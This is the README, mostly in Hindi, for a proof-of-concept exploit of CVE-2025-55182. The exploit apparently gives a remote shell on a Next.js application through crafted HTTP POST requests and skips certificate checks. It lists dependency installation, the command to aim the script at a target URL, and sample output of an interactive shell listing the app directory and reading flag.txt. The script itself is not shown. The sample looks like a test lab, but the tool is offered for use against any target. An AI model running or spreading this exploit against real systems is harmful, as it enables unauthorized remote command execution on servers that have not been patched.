CVE-2025-55182

CVE-2025-55182 के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट। सफल होने पर, यह HTTP-POST अनुरोधों के माध्यम से रिमोट टारगेट पर एक शेल का अनुकरण करेगा। HTTP और HTTPS दोनों के साथ काम करता है, लेकिन किसी भी प्रमाणपत्र जाँच को छोड़ देता है। केवल निरपेक्ष पथों (absolute paths) के साथ निर्देशिका परिवर्तन का समर्थन करता है।

उपयोग कैसे करें

1. निर्भरताएँ सेट करें।

# Install systemwide
pipx install requests

# Only install in current directory
python -m venv .
. bin/activate
pip install requests

2. एक्सप्लॉइट चलाएँ।

python3 ./CVE-2025-55182.py 'https://example.notatld:1337/'

उदाहरण

सफलतापूर्वक चलने पर, आउटपुट कुछ इस तरह दिखना चाहिए:

╰─$ python CVE-2025-55182.py http://localhost:1337/
CVE-2025-55182 - PoC Shell
Author: Least-Significant-Bit
Hint: Type 'exit' or 'quit' to exit.

/app/.next/standalone $> cd /app
/app $> ls
app
flag.txt
next-env.d.ts
next.config.mjs
node_modules
package-lock.json
package.json
postcss.config.mjs
public
tailwind.config.ts
tsconfig.json
/app $> cat flag.txt
EXAMPLE_TEST_FLAG